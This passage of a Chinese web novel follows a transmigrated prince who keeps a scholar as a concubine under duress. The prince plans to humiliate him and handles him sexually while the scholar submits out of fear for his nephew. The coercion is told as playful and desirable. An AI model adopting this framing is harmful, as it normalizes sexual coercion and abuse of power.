他死死压住那股从喉咙里泛出的恶心之感,主动道:“不若让我来伺候王爷用膳吧?” “你竟如此防备于我……”嵇燕台不肯接他的话茬,幽幽地叹了一口气,“哎,本王的一颗心好似坠入冰窟,寒透了。” 裴湛想再说些让岭南王消气的话,却不知道该说什么。 一时间,厅里陷入沉默。 嵇燕台忍不住轻笑两声,主动抬手,搂住裴湛那截细腰,摩挲了好几下,然后逐渐往上,将大拇指落在他的唇角,质问道:“裴侍君饱读诗书,怎么连几句哄人的好听话都不会说?” “哑巴了?” 裴湛身体僵硬,眼皮敛起,生怕岭南王窥见自己眸中的反感与厌恶。他轻轻摇头,却被男人的拇指撬开了唇瓣。 随后,岭南王将食指与中指抵在他的齿间,似乎想要一探究竟。 尽管裴湛已是另一个男人的妾室,但他到底是个适婚的男子…… 岭南王的意图,再明显不过了。 在男人冷冰冰的视线下,裴湛主动张开了唇。 片刻后。 岭南王抽回手,仿佛将裴湛的脸当成了一块柔软的帕子,指缝间的水渍尽数擦在他的脸侧后,起身离开了。 “饱了。” 裴湛只觉得脸上一阵凉。 待岭南王彻底走远了,他独自坐在满桌冷掉的珍馐前好 会儿,终究忍不住弯下腰,单手扣住桌子边沿,干呕了一声。指尖泛白 … 书房里。 嵇燕台干坐片刻,胃里烧得慌。 他一口饮尽凉透的茶水,将茶盏一推,随手从书架上抽出一本用来装样子的古籍,翻开内页。 纸页泛黄,墨色浓郁。 这页抄录了一首诗。 嵇燕台匆匆一扫,视线骤然定住,落在诗词下方的落款处,久久没有移开。 半晌。 他神情古怪地念出诗人姓名, “.…霁朝,谢芳?” 275、Chapter 275 当今朝代,是为晟朝。 按照原著里主角等人造反的进度,如今应当是晟朝末年了,不出十载,这个绵延了不足百年的朝代就要消逝在历史长流中。 但问题是…… 这个霁朝又是从哪里冒出来的? 嵇燕台视线稍移,定格在这首诗词的题名上,就见一道细瘦隽秀的墨痕写道——永熙三十八年秋,谢芳于兰洲亭送别旧友。 哪个旧友? 该不会是柳文渊那家伙吧? 嵇燕台只是死了又活了,不是失忆了,他当然记得自己上辈子从零开始的异世界皇帝游戏的朝代和年号。 正是霁朝,永熙年。 谢芳。 嵇燕台再次默念这个名字,脑中顿时浮现一张皱巴巴的老人脸。那个古板耿直、不苟言笑、会拎着戒尺打皇子手掌心的太傅。 穿来穿去,竟然是同一个世界? 嵇燕台意识到,原来自己并非跨越世界,而是跨越了时间。 朝代更替之下,霁朝已是过往云烟。 就是不知道过去了多久。 单单是如今的晟朝,也有七八十年的历史了。 作为霁朝登基总时长为一天的皇帝,嵇燕台有些好奇是谁继承了他的皇位,亦或是被哪一方势力推翻了政权统治。 可惜岭南王自幼纨绔,虽然精通丹青,却不爱读正经书,满脑袋的颜色文字,自然没有那些枯燥史料的容身之处了。 嵇燕台没有这方面的记忆。 他扫了眼书架,又看了看手里的诗集。 估计这是书房里难得的清水作品了。 半晌。 嵇燕台将这本诗集从头到尾翻了一遍。 薄薄的几十页纸,他读了近两个时辰,目光难得有些虚散,神情亦恍然,不自觉透出几分与生俱来的沉郁气势。 “叫卫都来见我。” 嵇燕台冲门外唤了声。 不多时。 一个面容精悍的中年男子躬身而入,垂首立在桌前,姿态恭敬至极,“王爷有何吩咐?” 嵇燕台手一抬,将那本诗集扔在桌上,淡声交代道:“给本王搜罗关于霁朝的正史、野史、文集、诗词歌赋 凡有记载者,不拘正邪,不拘来源,尽数找来。” “尽快。”他又道。 主子有交代,底下人哪有半分迟疑的,更不敢有丝毫的探究之心。卫都当即应道:“是,王爷。” “奴才这就去办!” 尽管古代社会通讯困难,不像现在社会,一根网线就能看遍天下事,但嵇燕台作为王权受益者,无数人时刻围绕着他的意志行事,效率也挺惊人的。不过几日。 嵇燕台的桌案上,便堆满了卫都差人送过来的物件,有厚重的史书,泛黄的线装文集,以及某些名家墨宝,字迹模糊的碑拓摹本等等…… 其中,好些是他的老熟人。 嵇燕台率先翻看的,是官修正史。 霁朝的历史不算短,他草草阅过前面的部分,终于读到了那位前朝末帝的记载。 史官的笔法很简练, 霁灵帝,宫人子也。性酷烈,猜忌刻深,虽少负异才,但多行悖逆人伦之举,弑先帝于汤泉,戮手足于东宫,锢生母于别宫。] [年十八,践祚。] 登极礼成之日,皇城忽闻惊雷裂空,有天火自宵而降,帝与冕旒,俱为焦土。] [遂,国祚断绝。] 最后面,还有一段史官的评语。 大意就是—— 这个皇帝登基才一天,就把传承了三百多年的家国基业干没了,实乃举头三尺有神明,老天爷都看不过眼,让他遭了天谴,警醒世间。 后人要以此为戒哦。 嵇燕台淡定地合上史书,霁灵帝遭天谴,跟他这个晟朝的岭南王有什么关系啊? 举头三尺有没有神明,他不知道。 系统倒是满天飞。 比如现在,他脑子里那道电子音幽怨响起,“宿主,你就跟我分享一下情报嘛,我可是你忠诚的任务伙伴耶。” 忠不忠诚,嵇燕台自有分辨。 他思忖片刻,没有拒绝这个提议,简单交代了自己被上一个系统绑定的始末后,问道:“为什么我会反复穿到同一个世界?” 他顿了顿,又问:“这里真的只是一本书吗?“ 系统惊叹一声,“哦豁,皇帝养成系统?时空书局没有这个分支,十有八九是其他小机构偷渡过来抢能源的。” 嵇燕台:“能源?” 系统解释道:“是哦,所谓原著,是这个世界被外界观测到的部分,小说中的主角相当于这个世界的气运之子,对世界的影响巨大……”. “已知,这是个古代世界。” “什么样的角色,拥有绝对的影响力?” “当然是皇帝了!” “在那个皇帝养成系统的推动下,宿主不是成功登基了吗?由此,它大概已经成功窃取到这个世界的部分能源了。” “真是大快人啊不是,是罪大恶极!” 系统空间内,NO01举着啾啾振臂高呼,“侵犯时空书局利益者,虽远必煮!” 嵇燕台也不知道这东西在燃什么,就听电子音暗搓搓地问道:“按理说,宿主还在这儿,那个系统应该也还没离开吧?你是怎么跟它失联的啊?” “宿主不是顺利完成任务了嘛?” “谁知道。”嵇燕台应道 …. 此后几天,嵇燕台闭门不出,在书房里阅读霁朝史料,其中很大一部分是民间野史。 他一边吃着冰镇的果盘,一边翻阅野史记录的名人故事,再跟记忆中的面庞对上号,忍不住连吃了几块汁水四溢的鲜切西瓜, “我就说吧,这两人肯定有奸情。” “啧,没想到岑将军还有这种癖好,我还以为他是多正经一人呢。” 吃着瓜,嵇燕台觉得自己好像忘了什么。 直到系统在他耳边提醒,嵇燕台才想起来后院里那两个被自己抛在脑后的存在。 他唤来刘嬷嬷,随口问了句, “裴侍君近日如何?” 刘嬷嬷回话道:“裴侍君整日呆在院中,极少外出,很是安分,只是…… 嵇燕台抬眸,“只是什么?” 刘嬷嬷是岭南王的乳娘,自小看着他长大,语气不由得染上一分抱怨,“裴侍君平日里只牵挂着那位小公子的饮食起居和病情,连夜里也与他睡在一张榻上身边,这……. “这不合规矩啊!” “如此行事,怎么能伺候好王爷呢?” 嵇燕台忍不住笑了一下。 刘嬷嬷的意思是,裴湛带着个崽儿,要是哪天自己想去后院玩儿他,不方便。 嵇燕台确实不着急。 按照原著里的时间线,裴湛要在岭南王府里沉沦近两年的时间,这才过了多少天? 小半个月罢了。 为了登上皇位,嵇燕台这些年基本没休息过,如今还是头一回躺平,当个优哉游哉的闲散王爷,竟有些乐不思蜀了。 折辱人么,能有多难? 他抽个空,就能办了。 嵇燕台想了想,不打算去后院刷存在感,只是让刘嬷嬷将桌上那盘吃了一半的果盘送到后院,嘱咐道:“送去给裴侍君,就说……” “就说本王心里挂念他呢。” 待刘嬷嬷端着果盘离开,嵇燕台睨了眼满桌被翻阅过的旧籍,有些无聊地对系统说:“果盘一送,主角今晚该睡不着觉了。” “就当是给他一个心理缓冲期。” 系统问:“什么缓冲期?” 嵇燕台站起身,伸了个懒腰,“被老男人破身的缓冲期呗。”他摸摸自己紧致了几分的腹部,“虽然原著里的岭南王不行,但我行啊。” “等我夺回八块腹肌,就去睡他。” 系统空间里。 NO01望着光屏上的画面—华服男人慢踱步到桌案上,亲手点了一支香,深陷的眼窝略略丰盈,敛眸阖眼时,眉宇间沉淀着上位者的风轻云淡。 这具身体里,不像装着一抹来自现代的魂。 N001想了想,问:“宿主,你喜欢主角吗?” 嵇燕台有些惊讶地挑了挑眉,“你不是高维科技产物吗?问这个做什么?而且我想睡他,跟我喜不喜欢他有什么关系?” N001:.…… 娘咧,此男似乎被封建腌入味儿了。NO01好奇地问:“宿主,你上辈子不是皇子身份嘛,后面还登上皇位了,那你有没有….咳,有没有娶妻纳妾之类的呀?”嵇燕台淡道:“有啊,好几个。”其实没有。上辈子嵇燕台登基时,刚满十八岁,哪怕回档过许多次,他的身体也从未超过这个年龄。 不过,古代人成亲普遍早,十三四岁就能开始预备婚事了。更别提天子家了,宫里还有专门教导皇子知晓人事的宫女。 最好笑的是,嵇燕台已经记不清自己的手上沾了多少人的鲜血,放在现代,他早就该被判死刑,吃花生米了,可当他面对那些稚嫩面孔的时候,心里想的却是……她们都是未成年啊。 还那么小。 嵇燕台的心里似乎有一道声音,时不时对他发出与这个世界格格不入的噪音,让他沉不下去,也浮不起来。 ………他宁可自己听不见 “啧。” 嵇燕台看着手里这支断成两截的香,百无聊赖地将其扔到匣子里,忽然想起什么,取出一张白纸,提笔在上头涂涂画画。 很快,他画出一张简略的方位图。 地图中心,寥寥几笔勾画出一个宝箱。 嵇燕台端详片刻,满意地点点头。 他唤来卫都,将这张手绘地图递过去,“按图索骥,你亲自带人前去此地,避开所有人耳目,找到东西后,原封不动地带回来。” “记住,绝密。” 卫都双手接过素笺,看也未看便收入怀中,神色凝重:“王爷放心,奴才自当小心行事。” 另一头。 欺风小院。 除了住进岭南王府的第一天,裴湛同岭南王用过一次午膳,此后数日,他再也没有见过岭南王,也无人将裴允书带离自己的身边。 对他而言,这无疑是难得的喘息之机。 介于岭南王那日为自己撑腰的行径,府中下人对他很是周全,不曾有过刁难。 王府寻来的医师确实有些本事。 几副汤药下去,裴允书的身体好些了。 虽然他依旧痴痴呆呆,眼神空洞,但至少身体不再像之前那样滚烫虚弱,咳嗽也少了些。 药方里有许多味名贵药材。 裴湛心知肚明,若不是走了岭南王府的账,他是决计负担不起的。尽管自己是遭到岭南王胁迫,被那人强行带回府中的…… 现如今,他切切实实得了好处的。 收到那份被人用过的果盘时,裴湛愣了一瞬,他静静地注视着瓜果溢出的汁水,然后捻了一粒葡萄塞进嘴里。 果肉香甜。 皮微涩。 当晚,裴湛穿着素色的寝衣,躺在锦被里,臂膀里睡着一个小小的人儿。他轻拍着裴允书的背,盯着头顶的床帐,睡不下。 他知道,这平静绝不会长久。 况且…… 去岁裴家满门抄斩,那桩谋逆案的背后,究竟是谁在操控?那一道将裴家推入深渊的圣旨,又是谁的手笔? 恩师劝他莫要追究,可裴湛夜夜难眠,一闭眼便是父母兄长的死后哀容,只在白日忙于生计之时,得以片刻喘息。 或许.……岭南王并非他命里的劫,反倒是他为亲族洗刷冤屈,接近真相的助力。 这具残躯,又算得了什么呢? 舍了,就舍了吧。 裴湛闭了闭眼,怀里的孩童忽然不安地扭动了一下,发出一声细弱的呜咽,“呃………!” 像是被噩梦魇住了。 裴湛立刻回神,连忙收紧手臂,将孩子更紧地搂住,手掌在他单薄的脊背上温柔地拍抚:“不怕,允书不怕……小叔在呢……”裴允书还是惊醒了。 他睁开那双黑黝幼的大眼睛,茫然地看着近在咫尺的脸。片刻后,他似乎认出了熟悉的气息,伸出小手,轻轻楸住裴湛的衣袖。裴湛低下头,声音轻柔得如同叹息, “没事的,睡吧,睡吧… 裴湛注视着他那双空洞的眸子,轻声哼着不成调的歌,直到裴允书再次在他怀中沉沉睡去,呼吸变得均匀而微弱。 夜更深了。 黑暗中,裴湛自嘲一笑。 他想, 你怎么变成这样了,裴清晏? 你还算是个读书人吗? 尤记十四五岁时,恩师赞你那向 风骨峭峻,有古君子遗风’,后又与挚友容惑挥斥方遒,说什么君子顶天立地,要做一番事业…… 裴湛紧闭双眼,呼吸逐渐深沉,似乎已然进入梦乡了,只是那长睫颤了颤,悄然渗出一点湿意,迅速洇入鬓角,消失无踪. ……. 翌日。 嵇燕台一口气睡到日上三竿,临近午膳时分了还不想起,忽然听到仆从禀报道:“王爷,裴待君命小人来传话,说是许久不见王爷了,想要与王爷共用午膳。” 嵇燕台阖着眼,“嗯?” 今儿吹什么风,这人竟还主动来寻他? 不就送了个果盘么。 想到这儿,嵇燕台无声笑笑,仍旧懒懒散散地躺在床榻上,不肯起,嗓音带着刚醒的沙哑, “成吧。” “带他来本王屋里。” 276、Chapter 276 裴湛踏入内室时,岭南王还在睡。 时辰已然近午了。 男人一身寝衣,躺在那张宽敞的紫檀木雕花拔步床上,锦被随意搭在腰间,呼吸均匀,似睡非睡。 裴湛身形一顿,放轻了脚步。 岭南王的寝室宽敞极了,床榻旁,立着一扇四折屏风,屏上依次嵌着四幅描绘了春夏秋冬四时景观的墨宝,内容却有些…… 不堪入目。 只因画上不止有景观,还有人物白描。 画中人衣襟大敞,鬓发凌乱。 裴湛只飞快地瞥了一眼,就收回了视线。 下一瞬。 两个丫鬟静悄悄地从屏风后走出来,其中一个端着黄铜水盆,盆边搭了块雪白的帕子,另一个则手臂平举,搭着主人的衣袍。 两人眼观鼻,鼻观心,分别站到了床头和床尾。过程中,没有发出一丝响儿。 裴湛心下了然,缓步上前。 他动作轻缓地舀起温水,浸湿了帕子,拧干,然后走到床边,微微倾身,试探性地将帕子覆上了岭南王的额角,开始为男人擦脸。 湿帕子是温热的,带着淡香。 裴家是书香门第,母亲擅经商,裴湛作为家中幼子,自然从小有丫要在旁贴身伺候。只是他习惯了亲力亲为,像是洗漱、更衣、束发这类琐事,都是自己来做的。 再者说,家破人亡这一年…. 裴湛还需要照料年幼的侄儿裴允书。 因此,他为岭南王净面的动作很纯熟,一路轻柔地从额头擦拭到脖颈,力道不轻不重,十分恰当。 待擦完脸和脖子,以及搁在锦被上的双手,裴湛又从丫鬟手里接过一块干爽的帕子,重复了一遍方才的动作。 男人全程闭眼不语,任由他动作。 裴湛刚递出干帕子,那丫鬟便上前两步,站到他的侧后方。 他余光一瞥,从对方手中接过温热的青盐水和玉盂,轻声道: “王爷,该漱口了。” 直到这一刻。 嵇燕台才缓缓睁开了双眼。 他坐起身,先是就着裴湛的手漱了口,然后掀被下床,赤脚踩在地毯上,施施然地展开双臂。 “为本王更衣。” 嵇燕台扭了扭睡累的脖子,看着那道穿着素净月白长衫的身影无声靠近,站到自己身前,轻手轻脚地扯开寝衣的系带…… 打个赤膊,还不至于被打马赛克。 系统空间内,NO01沉默地注视着光屏。 屏幕上,男人披散着长发,由他人为自己依次穿上中衣,外袍和束腰的玉带,透着一股衣来伸手,饭来张口的理所当然。 看样子,是被服侍惯了。 NO01忽然想起宿主先前那番关于“男妾约等于高级奴婢’的理论,陷入了更深的沉默。 ……等等。 宿主不会真的把主角当下人了吧? N001觉得自己不能再沉默下去了,当即扯了个话题,小声嘟囊起来,“宿主,你不是昨天还在说,要在主角面前展现八块腹肌的风采吗?” “你现在的身材……咳,虽然比刚来时的松垮垮好多了,但是你的小肚腩还没完全消失呢,让主角帮你换衣服,不怕影响自己的形象吗?” 嵇燕台:“?” 嵇燕台:“你在说什么屁话?” “我想要八块腹肌,又不是为了让他满意,而是为了给自己一个好的体验,”他无声应道,“简直倒反天罡,到底是谁服务谁啊?” 嵇燕台的想法很简单。 在他看来,裴湛长得确实好。 上辈子他在后宫里见过许多倾国倾城的美人,若是将裴湛放在其中,或许他在五官的精致程度上逊色几分,但胜在气质好。 有点冷美人那味儿。 哪怕是上辈子的老皇帝,太子之流,在面对冷美人的时候,也不免比旁人多了几分耐心。 男人嘛,有时候就好这一口。 嵇燕台也不例外。 既然人都抬进府里了,他又扮演着一个渣男前夫哥的角色,那他凭什么把人往后院一扔,干放着两年多时间,不下嘴吃啊? 更何况,他还有任务在身。 要想让一个有骨气的人倍感受辱,无非就是一寸寸碾碎他的傲骨,让他雌伏,让他曲意逢迎,然后再提醒他—— 你以前不是这样的。 我还是喜欢你以前的样子,有骨气. ……. 关于第二个任务,嵇燕台心里早就有了盘算。 至于为什么他迟迟不下嘴——不是觉得自己的形象不够完美,担心裴湛不满意,而是防止自己在宠幸裴湛的过程中,正在兴头上,一低头,看到自己的原始袋在晃悠…… 救命。 他真的会很倒胃口。 哪怕岭南王的癖好特殊,喜欢以旁观的视角,观摩人体艺术,但能被他看上眼的民间行为艺术家,都是容貌身段俱佳的。 嵇燕台淡声道:“我要保障自己的视觉体验。” NO01:“.… 不愧是你。 衣袍穿戴整齐后,嵇燕台又坐回床沿。 他一边好整以暇地看着裴湛为自己穿鞋穿袜,一边与系统无声闲聊,“这小孩儿还挺能屈能伸,昨天才给他送了个果盘,今天就来讨好我了。” “啧,谁让他有个崽呢?” 嵇燕台心想,虽说一身傲气的冷美人调起来更畅快,但这般的冷美人,在某些特殊时刻,不得已泄露出几分本不该存在的母性…… 品起来,似乎更有韵味。 嵇燕台不缺耐心,等着那一天的到来。 今天的日头不错。 曦光明亮,宛如一炉熔化的金液,顺着雕花窗柩淌进屋内,烫着台座的一角。 岭南王衣着齐整地坐着,散落的长发撩过身下木椅的雕纹。裴湛站在他身后,持着一柄木梳,一下下地顺着男人的发尾。 丫鬟举着发带与玉冠,站在侧后方。 当裴湛俯身,沾取放在台面上的发油之时,隐约瞥见台上有一块压痕,方方正正,像是有什么东西不久前才被撤走。 他的目光只在那压痕上停留了极短的一瞬。 “.… 嵇燕台有些出乎意料。 他的发丝被梳得顺滑服帖,没有一根被扯痛,最后裴湛束发戴冠的动作也干净利落,玉冠稳稳地固定住发髻,没有丝毫不适感。 “手艺不错。” 说完,他拉开一个匣子,从里头摸出一个通体莹润,水头极好的羊脂白玉指坏,然后一把拉过裴湛的左手,动作随意,却不容拒绝地将指坏套在他的食指上。 裴湛的指节修长,骨感。 白玉指环细细窄窄,套上去正合适。 嵇燕台笑道:“好看。赏你的。” “…谢王爷赏。” 听着裴湛那道恭敬有余,却听不出个人喜恶的回话,嵇燕台没有松手,反倒攥着他的手腕,往自己的怀里用力一扯! 裴湛猝不及防,身体失去平衡,整个人竟被岭南王拽得跌坐在他腿上,姿势有些别扭,更像是被男人半圈在怀里。 “不必如此多礼。” 嵇燕台一只手穿过裴湛的后背,扣着他的肩,另一只手落在某处,使得裴湛下意识地挣扎了一下,又很快安静下来。 他低下头,鼻尖几乎蹭到裴湛的鬓角,温热的呼吸拂过裴湛的面颊、颈侧、最后停留在微微敞开的领口处。 嵇燕台深嗅一口。 他的声音压得有些低,带着一丝慵悚的笑意,仿佛情人间的耳语,却又裹挟着无形的压力,热气一个劲儿地往衣襟里灌, “想我了?” 裴湛感受着岭南手臂传来的力量,极力让自己不那么僵硬,轻声应道:…嗯。” “有多想?” 嵇燕台很满意裴湛的顺从。 老实说,他喜欢冷美人那股劲儿,又受不了冷美人对自己拿乔,裴湛这般处事便恰到好处 省得日后两人行事时,场面难看得像是刑事现场。 虽然事实大差不离,但嵇燕台主动让场面变得难看是一回事,被动接受又是另一回事了。 他一边笑,指下施力。 裴湛躲避着男人的视线,呼吸有些不稳,唇瓣微启,“…夜不能寐。“ 好半晌。 嵇燕台收够了利息,才抬高手掌,在裴湛清瘦的腰侧轻拍了两下,像在掂量一件物品,“太瘦了,矽手。待会儿午膳,你多用一些。” …·是。” 裴湛垂着眼,低声应道。 嵇燕台示意他起身,然后一马当先地迈出内室。 裴湛落后了几步。 他花了些时间整理自己凌乱的衣襟,以及微微发皱的外袍,只觉得衣下的肌肤像是有虫子爬过,又烫又痒。 这回午膳,倒是顺利。 席间,两人都下了筷子,总算没浪费王府后厨呈上来的满桌珍馐。 嵇燕台还是只吃了个七分饱。 他刚一放下筷子,裴湛也一同放下了碗筷,一副吃饱了的模样。见此情形,嵇燕台亲手给他盛了一碗热汤,“不必拘谨,你还在长身体呢。” “多吃点。” 裴湛的吃相很端正。 嵇燕台瞧着,只觉得秀色可餐。 到最后,裴湛大概是吃撑了,嵇燕台看他默不作声地衔着自己夹过去的菜,一口菜咀嚼了二三十下才往下咽的模样,心里乐开花。 他捏了捏裴湛的耳垂,笑话人, “行了,再吃下去,本王就要让府里医师给你开一方山楂消食丸了 话音刚落。 他的耳边响起系统的小声哔哔, “哇,宿主… “正反话都让你说了啊。” 嵇燕台面上带笑,不言不语。 此后一个月间,裴湛也不是天天在嵇燕台刷存在感,隔个四五天,才让丫鬟通传一次。 嵇燕台想见他时,便允他同桌,顺手吃一通豆腐。 有时他懒得应付,便将人拒之门外,置之不理。 嵇燕台的日子过得很养生。 他每日雷打不动地跳操运动,王府后厨的师傅绞尽脑汁奉上各种以珍禽异兽、鲜活鱼虾为主料的高蛋白‘健身餐’,更有专门通晓穴位推拿的侍者,每日为他松筋活络,疏通气血。 这样的日子持续了一个月,单从乌黑了不少的头发,就能看出来他的身体有了极大的改善。 嵇燕台的精神头也好上许多。 这日傍晚。 卫都风尘仆仆地回了王府。 他身后跟着两名心腹,避开了其他人的视线,小心翼翼地抬着一个沾满干涸泥土,锈迹斑斑的小铁箱子,将其搬进了书房。 “王爷,幸不辱命!” “奴才把东西带回来了。” 卫都前来汇报时,嵇燕台刚沐浴完,坐在凳子上,身后丫鬟正在帮他擦晾头发。 他闭着眼,淡道:“嗯,做得好。” “下去领赏吧。” 待头发半干,嵇燕台起身,往书房走去。 穿过雕梁画栋的长廊,将掠入后花园时,一阵裹挟着花香与湿润水汽的晚风迎面拂来。嵇燕台脚步微顿,顺着心意,拐向了花园的方向。 天外已是暮色四合。 一池碧水被染成橘红,几尾肥硕的锦鲤懒洋洋地游弋。池畔,一大一小两个身影被暮光镀上了一层温暖的光晕。 嵇燕台站在廊下,远远看着裴湛弯下腰,一手小心地扶着身前的裴允书,另一只手抓着一把鱼食,耐心地引导着幼童,将鱼食一点一点洒向水面。 鱼儿们立刻聚拢争食。 霎时间,水面上荡开圈圈金色的涟漪。 其中一条格外肥大的红鲤,大概是饿极了,猛地跃出水面,想要去抢夺半空中的鱼食,尾巴带起一串涟涟的水珠。 “哗啦。” 裴允书被这突如其来动静惊到,小小的身体本能地向后一缩,躲进裴湛的怀里。 有几滴水珠飞溅起来,正巧落在了低头安抚孩子的裴湛的睫毛上,要掉不掉。 夕光映射,水珠闪出细碎的光。 裴湛下意识地闭上眼睛,同时脸上浮现一抹很清朗的微笑,嘴巴一张一合,不知道对裴允书说了些什么。 嵇燕台静静地看了好一会儿,然后迈开步子,走近池边,直到他的影子罩在那一大一小身上,裴湛才发现了他。 他揽着裴允书,后退了半步,行礼问好。 嵇燕台很随意地应了一声,目光扫过紧紧依偎在裴湛怀里的幼童,“他现在还与你同睡吗?” 裴湛一怔,随即摇头, “回王爷,允书月前便移去侧屋了。” 他没说的是,每当裴允书夜惊,自己便去侧屋陪同,待裴允书睡熟了,再回到主屋内室。 ……既然做了决定,便要贯彻。 再者说,裴湛也不愿岭南王某日踏进后院,因裴允书扰了兴致,为此心生不快,迁怒于他。 闻言,嵇燕台满意地点点头。 他的目光落在裴湛身上,与之四目相对,意有所指地道:“如今天气闷热,本王让刘嬷嬷给你送些沐浴用的香包过去…….” “很稀罕的东西,好好用。” 潜台词清晰无比。 裴湛揽着裴允书的手臂微微收紧。他抿着唇,低声应道:…是,谢王爷。” 嵇燕台笑了笑,视线下移,瞥了眼呆呆地抓着鱼食的裴允书,伸手捏了两下他稚嫩的小脸蛋,“小家伙,今晚要乖乖睡觉,一觉到天亮,知道吗?” “—叔父给你奖励。” 277、Chapter 277 嵇燕台改变了主意。 反正书房里的东西不会长腿,趁他一个不注意就跑个没影儿,但此时此刻,他确实更想看一看裴湛隐没在衣衫底下的腿。 那晚,软香楼初见。 嵇燕台早就将裴湛上下前后看了个遍,可惜当时他心情不佳,只想冲人使坏,几乎把裴湛当成了一个物件来打量。 光入眼没入心。 现在想想…… 裴湛的腿型不错,又长又直。 其实,嵇燕台本打算再养精蓄锐些时日的,他现在的身形线条匀称清晰了许多,整个人像是在清水里涮过,堪称去油套餐。 万恶的小肚腩终于消失了。 然而,八块腹肌这东西可不是短短一个半月的时间能锻炼出来的。嵇燕台之所以对系统那样说,是因为他想睡裴湛,却也没那么急着睡。 这件事有什么可着急的? 裴湛是他的妾,就在他的后院里呆着,嵇燕台什么时候想要了,招招手就能得到。 但此刻,看着身前人睫毛上那滴欲坠未坠的水珠,嵇燕台心头忽然升起一股原始的兴味。 有句话说得好,改日不如撞日。 今天……似乎也不错。 嵇燕台伸出手,食指勾起,用指节抹去了裴湛睫上那粒水珠,几簇长睫泅湿了,挨在一起,衬得底下那双眼也莹润,瞧着竟有几分说不明的意味。 错觉而已。 是此水、此夕、此人眉眼出挑。 嵇燕台如明镜一般,心中暗笑裴湛不知道怎么恶心自己呢。 “走吧。” 他的手稍稍下移,近乎轻佻地揉捏了两下裴湛的耳垂,状似热心地说道:“天色不早了,我陪你把小允书送回后院。” 裴湛没有顺势应下来。 毕竟嵇燕台就差明说了- 我要睡你了。 赶紧把孩子弄走,别在这儿碍眼。 于是,裴湛唤来候在不远处的丫鬟连翘,让她将裴允书带回后院里,又叮嘱道:“睡前那碗安神汤切莫忘了。” “是,奴婢告退。”连翘小声应着。 裴湛很快收回了目光,任由那小小的身影被丫鬟牵着,消失在月洞门后,仿佛半点不在意,只静静立于男人身前。 嵇燕台饶有兴致地盯着他。 怪不得能考入殿试,被钦点为探花呢。 高智商、高情商、还长得好看。 嵇燕台盯得人有些不自在了,才笑吟吟地拉起他那只残疾的右手,瞥见他指间空落落的,随口问道:“我赏给你的玉指环呢?” “不喜欢?” 裴湛摇头,话里话外,只说自己唯恐损坏了王爷的一番美意,所以将赏赐之物好生收藏起来了。 语调平淡,却让人生不起气。 起码嵇燕台听着挺舒服的。 他脸上笑意更深,刻意用指腹择了一下裴湛的唇瓣,奖赏似的说道“那算什么好东西,有什么可珍藏的,本王领你去库房,让你随意挑选,要什么就给什么,好不好?” 不等裴湛应声,他就拉着人走。 穿过几道回廊,嵇燕台带着裴湛来到王府深处的一处独立院落,这里并非刘嬷嬷掌管的库房,而是岭南王的私库。 里面可都是岭南王的心头好。 嵇燕台也是第一次亲身踏足此地。 库门开启。 一股淡淡的墨香扑面而来。 由于岭南王癖好特殊,库房内并非堆满金银珠宝的俗气景象,反而更像一座精心布置的小型陈列馆。 乍一眼看过去,别有一番古朴气息。 但也仅仅是‘乍一眼''''。 经不得细看。 就见高大的乌木架上,分门别类地摆放着各类奇珍,有描绘着花间趣事的折扇,还有烧成婀娜人形的玉瓷摆件,胎质细腻极了,宛如活人肌肤…… 墙上挂满了岭南王的墨宝。 挂不下的那些,摆满了一整个画架。 屋中所有器物,无一例外地展现着世间最隐秘的乐事,看似文雅,实则斯文遍地,只剩下一室的荒唐。 尤其是屋中昏暗,仅靠嵇燕台手中那柄烛台照明,晃动的光线仿佛一层纱,遮不住荒唐本质,却平添了几分诱人深看的朦胧。 嵇燕台回头看了一眼。 乐得。 裴湛的眼睛都不知道该往哪儿放了。 嵇燕台没忍住笑出声来,故意臊他,“有没有看上眼的宝贝?回头摆到你屋子里去,也省得空空荡荡的,怪冷清的。” 裴湛垂着眼,刚一开口,嵇燕台又自顾自地往下说,“罢了,想必你自幼见过不少珍品,寻常物件入不了你的眼。” “本王带你瞧点稀罕的。” 话毕,嵇燕台就拉着裴湛,从琳琅满目的外间走向更深处的内室。 壁上的烛台被依次点亮。 室内亮起来了。 嵇燕台刚放下手中燃到一半的烛台,余光已经在屋里绕了一圈,不由得暗暗感慨一句, 这算不算是古代版的差生文具多? 尽管他最初出生于思想开放,信息发达的现代社会,只通过互联网,就能了解到许多稀奇古怪的小众癖好…… 但嵇燕台也不得不说一句, 还是古人玩得花啊。 连他都觉得大开眼界,更别提裴湛了。 嵇燕台颇有兴趣地走到一张木桌前,随手捏起一个青花扁肚小瓷瓶,揭开盖子往里看了看。 里头装满了琥珀色的脂膏,形以蜂蜜,闻起来却有一股淡淡的花香,沁人心脾。 他把小瓷瓶往裴湛怀里一塞,姿态大方,“挑吧,喜欢什么,自己选。” 感应到落在自己身上的审视目光,裴湛知道自己必须亲手挑选一件——至少一件物品,才能离开这间内室。 脂膏已经被那人塞入怀中。 裴湛沉默地环视一圈,缓步走向距离自己最近的桌前,打开了其中一个木盒的外盖,露出里头铺垫在最底下的红绸。 绸面上,摆放着一套玉器。 从小到大,齐齐整整。 裴湛抿了抿唇,又将木盒盖上了。 他的年纪不小了。 昔日同窗中,有不少人已经娶妻生子。虽然他不曾有过近身的人,却也知晓何为夫妻敦伦,稍稍一想,便知男人之间该如何成事了。 无非就是…… 尽管裴湛已经做足了心理准备,但看到盒中物件之时,还是倍感窘迫,面皮发热,烧得他有些手足无措。 这时候,身后传来一道轻微的笑声。 裴湛身形微微一僵,暗自吐出一口气,又打开了旁边一个不起眼的扁平木盒。 里头的物件总算不教人面红耳赤了。 这是一条极长的链子,做工极为精巧,细密的银环相扣,链条上镶嵌着米珠似的碧绿玉石,宛如银枝新芽,中央坠着一粒指肚大小的玉雕铃铛,在昏暗的光线下折射出幽微的光芒。 身后的男人靠过来,遮蔽了烛光。 “啊,品味不错。” 岭南王站在他身后,抬手扣住他的腰身,比量了两下,笑道:“这是一条……腰链。” “喜欢?” 裴湛迟疑片刻,点了点头。 嵇燕台的手臂从他身侧穿过,指尖勾起那条腰链把玩了一下,故意啧了声,揶揄道“怎么尽挑些寻常的小玩意儿?库里多得是宝贝,不选个大件儿的?本王送得起。” 他刻意加重了‘大件儿′三个字。 随即,嵇燕台揽着裴湛的腰,半推半抱地将人带到被屏风遮蔽的一个角落,语气轻松,“君子通六艺,你有没有学过骑射?有没有……” “上过马?” 话音刚落,裴湛终于看清了屏风后的物件,猛地停住脚步,脸色惨白,忍不住抬眸望向身侧的岭南王,一个字都吐不出来。 可怜见的。 显得他特别老畜生。 